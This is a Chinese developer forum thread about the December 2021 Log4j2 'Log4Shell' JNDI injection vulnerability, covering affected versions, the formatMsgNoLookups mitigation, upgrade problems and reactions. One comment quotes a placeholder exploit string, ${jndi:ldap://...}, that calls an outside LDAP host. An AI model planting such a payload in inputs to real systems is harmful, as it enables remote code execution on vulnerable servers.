漏洞预警: https://mp.weixin.qq.com/s/WBbAthHY36qY0w9e4UUl4Q
本质上是 log4j 里的 lookup 方法存在 jndi 注入(看图): https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/20211210091200YOXTYd.jpg
百度、谷歌、苹果的框全都沦陷了: https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/202112100913225Wncr7.png
修复措施: 在 log4j2.component.properties 配置文件中设置 log4j2.formatMsgNoLookups=true ,可以暂时缓解避免受漏洞的影响。
之所以是史诗级,是因为不仅 log4j 使用范围广,而且日志数据你不知道流到哪里的 log4j 就会触发
1
pigspy 2021-12-10 09:19:07 +08:00
还是转向 logback 吧
|
2
eviladan0s OP 这个漏洞本不应该被直接公布的,但利用过于简单,昨晚成了脚本小子的狂欢
|
3
midasfree 2021-12-10 09:21:58 +08:00
这周值班一大早被呼起来屏蔽这个问题 绝了(╯°□°)╯︵ ┻━┻
|
4
Philosophy6 2021-12-10 09:28:22 +08:00 2
全线服务全都是 log4j2 ,GG
|
5
hanssx 2021-12-10 09:38:51 +08:00
这危害也太大了,老哥有原文吗?求分享
|
6
buliugu 2021-12-10 09:41:05 +08:00
还好用的 logback
|
7
sagaxu 2021-12-10 09:42:21 +08:00 via Android
昨天美团崩溃也是因为这个?
|
8
Archeb 2021-12-10 09:43:17 +08:00
别慌,只有低版本能盲打,高版本没那么好利用。看着吓人也只是 dnslog 而已
|
10
eviladan0s OP 还有,许多知名组件也用到了 log4j ,如 Apache Struts2 ,Apache Solr ,Apache Flink ,Apache Druid 等等
|
11
iold 2021-12-10 09:46:06 +08:00
看了一下公司的屎山。还好只有官网是 Java ,log4j 还是远古版本,不知道升上来会带来哪些副作用...
|
12
eviladan0s OP @Archeb 是的,高版本 jdk 默认禁用了远程加载,需要寻找本地 Gadget
|
13
sagaxu 2021-12-10 09:47:19 +08:00 via Android
只有写在 format string 里才能触发,作为参数传入则不会。而我们一般不会直接把日志内容写到 format string 中,所以不必慌。
|
14
cedoo22 2021-12-10 09:47:24 +08:00
还在用 log4j 1
|
15
iold 2021-12-10 09:48:48 +08:00 2
仔细看了一下,屎山用的远古版本不受影响,美滋滋。
|
16
zhouyou457 2021-12-10 09:52:00 +08:00
绝望的打出 GG
|
17
qq1340691923 2021-12-10 09:54:45 +08:00
之前服务器上是 java 程序在跑,腾讯云每隔一段时间就告警我们 jar 包有安全风险,需要升级,不然就停止服务,折腾几次后,我们换了 golang ,后面就没这个烦恼了
|
18
gadfly3173 2021-12-10 09:57:01 +08:00
@qq1340691923 #17 艹 这不只是让腾讯云没法检测而已嘛。。。
|
19
itechnology 2021-12-10 09:58:06 +08:00
还好用的 spring boot 自带的 logback
|
20
gadfly3173 2021-12-10 09:59:36 +08:00
@itechnology #19 spring boot 自带 log4j 版本是 2.14.1
|
21
cheng6563 2021-12-10 09:59:44 +08:00
看了下公司项目,屎山都是 log4j1 ,新一点的都是 slf4j 了,没用到 log4j2
|
22
zmxnv123 2021-12-10 10:01:31 +08:00
比较奇怪,为什么搜不到英语报道
|
25
aababc 2021-12-10 10:02:54 +08:00 1
@qq1340691923 这个只是把问题掩盖了,并不是说 go 的程序就一定安全呀!
|
26
tabris17 2021-12-10 10:07:40 +08:00
用老版本反而躲过一劫
|
29
jwh199588 2021-12-10 10:09:43 +08:00
有人复现了吗
|
30
KevinBlandy 2021-12-10 10:10:08 +08:00
幸好是内网应用,根本不慌。
|
31
bipy 2021-12-10 10:10:45 +08:00
哈人
|
32
supuwoerc 2021-12-10 10:13:22 +08:00
|
35
wanguorui123 2021-12-10 10:25:45 +08:00
${jndi:ldap://xxxxx.xxxx.xxxx/xxxxxx}
|
36
lindas 2021-12-10 10:25:52 +08:00
项目用的 elasticsearch 里面的 log4j 版本刚好在范围内,好在是内网
|
37
kernelpanic 2021-12-10 10:27:17 +08:00
哈哈哈哈哈苹果到现在还没修复
|
38
aguesuka 2021-12-10 10:33:03 +08:00
太离谱了, 这是一个日志框架不该出现的 bug. 也许正确的应对方法不是升级或是改什么配置, 而是不要使用 log4j2 和这个作者开发的其他框架.
|
40
Crystal8899 2021-12-10 10:36:00 +08:00 1
@aguesuka “这个作者”??
|
41
jsjjdzg 2021-12-10 10:36:14 +08:00
logback 依赖不是 slf4j 嘛?还是 slf4j 底层是用 log4j 实现的?
|
42
legendORld 2021-12-10 10:37:12 +08:00
已经把文章发到群里面了,让公司大佬们处理吧
|
44
youxiachai 2021-12-10 10:44:50 +08:00
按道理... 这个默认不是关的吗...
|
45
kernelpanic 2021-12-10 10:46:45 +08:00
linkedin 也没修复
|
46
zxCoder 2021-12-10 10:52:07 +08:00
写个日志都不安全,牛逼啊
|
51
encounter2017 2021-12-10 10:59:41 +08:00
@conhost https://mvnrepository.com/artifact/ch.qos.logback/logback-classic/1.2.7
不是吧,测试有依赖的 log4j1 ,编译没有依赖 |
52
leiuu 2021-12-10 11:01:44 +08:00
颤抖吧...
|
56
chawuchiren 2021-12-10 11:12:03 +08:00
怎么升级呢,最新的 log4j 2.15.0 ,有一个包需要 jdk9 。 我们还在用 jdk8
|
58
Jwyt 2021-12-10 11:17:00 +08:00
@chawuchiren 顺便把 jdk 也升了(
|
59
kappa 2021-12-10 11:17:38 +08:00
@zmxnv123 HN 热贴了还叫没报道? https://news.ycombinator.com/item?id=29504755
|
60
Nich0la5 2021-12-10 11:18:20 +08:00
笑死 我们手忙脚乱查了一遍得出结论,log4j 版本太低,没这个漏洞
|
61
kernelpanic 2021-12-10 11:22:25 +08:00
苹果还没修复, 不知道服务器上弹出多少个计算器了
|
62
uSy62nMkdH 2021-12-10 11:29:27 +08:00
小团体的群里,大厂的小伙伴是连夜修复,我们公司白天没人提,发到群里了没激起一点水花~
|
63
James369 2021-12-10 11:43:01 +08:00
什么叫稳,版本越老反而越稳,哈哈
|
64
aguesuka 2021-12-10 11:43:36 +08:00 1
@ohwind I try to follow a rule with libraries: if a library causes more trouble than the implementation effort it would take to recreate its functionality from scratch (or rather, the portion of its funcitonality that is used in practice), then it's time to purge that library from projects and never use it again.
The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf which adds a timestamp and a log-level. This is very quick and easy to write. A library in this role should have zero RCEs, ever in its entire lifetime, or it is unfit for purpose. 这不是我一个人的 idea |
65
ipuhua 2021-12-10 11:50:34 +08:00
Windows 漏洞有多少?大家都不要用微软了, 颤抖吧
|
66
Seayon 2021-12-10 11:51:09 +08:00
怎么才能学习复现一下 有没有指点一下路子的
|
67
soulzz 2021-12-10 11:57:44 +08:00
log4j2.formatMsgNoLookups=true
|
69
feelinglucky 2021-12-10 12:02:06 +08:00
@buliugu 我记得 logback 默认依赖 log4j 的吧,虽然可以换引擎
|
70
pofycn 2021-12-10 12:02:25 +08:00 via Android
现在上线了 RC2 可以暂时修复 但是可能还会被绕过
|
72
NULL2020 2021-12-10 12:08:46 +08:00
log4j github 仓库下载下来解压怎么是源码啊,还得自己编译打包成 jar ?
|
73
Bromine0x23 2021-12-10 12:18:53 +08:00 1
纯云
logback 只是测试依赖用有到 log4j ,应该不受影响。 spring-boot-starter-logging 通过 log4j-to-slf4j 间接引入了 log4j-api ,只是接口层,应该也不受影响。 |
74
Jwyt 2021-12-10 12:20:50 +08:00
@feelinglucky 。。。你记错了吧
|
75
podel 2021-12-10 12:24:26 +08:00
终于知道苹果的登录为什么这么慢了。
因为每一次登录请求,都会在美国的服务器上跑程序。 |
76
gadfly3173 2021-12-10 12:28:28 +08:00
@NULL2020 #72 是的 因为还没正式发布
|
77
pengtdyd 2021-12-10 12:30:41 +08:00
fastjson 确实挺好用的,我个人觉的源码写的很乱,动不动就爆漏洞,阿里的东西真的要慎用!
|
78
Lemeng 2021-12-10 12:37:05 +08:00
生活不能太平静,网络也一样,哈哈
|
79
cholerae 2021-12-10 12:46:28 +08:00
java 怎么总能搞出点新花样。fastjson 一个序列化库能搞出来 rce ,log4j2 一个日志库也能搞出来 rce
|
80
masterclock 2021-12-10 12:54:13 +08:00
感觉 JAVA 因其强大,它的库总是倾向于做得多,内部搞点魔法,用起来方便;然后代码多了就容易出问题。
|
81
littlewing 2021-12-10 13:00:39 +08:00
@aguesuka intel 的 CPU 也有漏洞,建议也别用了
|
82
aguesuka 2021-12-10 13:04:11 +08:00
@littlewing 滑坡谬误, 看 64 楼
|
83
iold 2021-12-10 13:08:03 +08:00
@Mithril #71 是的,后续已经确认 1.x 也受影响,而且 1.x 已经结束生命周期了。哎,非 Java boy, 难受啊,这么大的跨度,肯定不是升级个依赖就能解决的。
|
84
justs0o 2021-12-10 13:10:24 +08:00 1
rc2 也影响
|
85
MoYi123 2021-12-10 13:12:26 +08:00
@littlewing 虽然 log4j 性能很好,水平很高, 但是就单单打个日志的功能我觉得以大多数人的水平都能做个勉强能用的出来, ,至于上面的 windows 和 CPU,我反正是做不了.
|
86
pengtdyd 2021-12-10 13:14:20 +08:00
颤抖个啥,这不是又有收维护费的理由了嘛
|
87
justs0o 2021-12-10 13:15:05 +08:00
CORRECTION: log4j 1.x contains a JMS Appender which can use JNDI. So I would say that, yes, log4j 1.x is also impacted by this vulnerability
|
88
ZeroDu 2021-12-10 13:22:17 +08:00
上面看你们一顿乱说,也没人贴怎么复现啊
|
89
EPr2hh6LADQWqRVH 2021-12-10 13:25:54 +08:00 1
服务器设置 cron job 每 30 秒运行 killall java , 防微杜渐。
|
90
manami 2021-12-10 13:31:17 +08:00
内网应用不慌
|
92
joshuacavell 2021-12-10 13:51:23 +08:00
现在 1.x 也受影响了,而且不给升级
https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126 |
93
RainyH2O 2021-12-10 13:51:36 +08:00 3
泥潭也有那么多人分不清日志接口框架和日志实现框架的区别么?
|
94
aaa5838769 2021-12-10 14:02:03 +08:00
logging-log4j2-log4j-2.15.0-rc2.tar.gz
你们是如何编译成功的,用的这个./mvnw clean package -DskipTest 命令,提示 [Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:1.1:toolchain (default) on project log4j-api-java9] jdk 版本是 17 |
95
NULL2020 2021-12-10 14:04:29 +08:00
|
98
wangdashuai 2021-12-10 14:19:28 +08:00
我把 java9 相关的全部删了
|
99
tqyq88 2021-12-10 14:21:43 +08:00
System.out.println 保平安
|